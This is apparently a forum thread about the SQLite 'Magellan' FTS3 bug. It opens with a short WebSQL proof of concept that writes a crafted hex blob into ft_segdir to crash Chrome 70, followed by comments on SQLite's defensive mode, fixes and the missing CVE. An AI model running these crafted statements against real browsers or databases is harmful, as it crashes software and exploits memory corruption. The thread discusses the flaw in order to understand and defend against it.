Crash Chrome 70 with the SQLite Magellan Bug

The offending WebSQL statements are as follows:

DROP TABLE IF EXISTS ft;

CREATE VIRTUAL TABLE ft USING fts3;

INSERT INTO ft VALUES('aback');

INSERT INTO ft VALUES('abaft');

INSERT INTO ft VALUES('abandon');

SELECT quote(root) from ft_segdir;

UPDATE ft_segdir SET root = X'0005616261636B03010200FFFFFFFF070266740302020003046E646F6E03030200';

SELECT * FROM ft WHERE ft MATCH 'abandon';

Source: https://github.com/zhuowei/worthdoingbadly.com/blob/master/_...

OK, so, if this is what it is, then my question from earlier can be answered, I suppose. It is with FTS3, and the new defensive mode should be able to prevent it (there are also bug fixes to prevent it, even if you do not use the defensive mode). I have not used any of the FTS extensions, but in future I might. Now I can know what is the vulnerability.

(I do not use Chrome or Chromium, although this article is good to me anyways since it explains what the vulnerability is, since I do use SQLite.)

Still no CVE assigned, and no-one has requested, not even via https://iwantacve.org/

isn't WebSql deprecated and will be removed from chrome?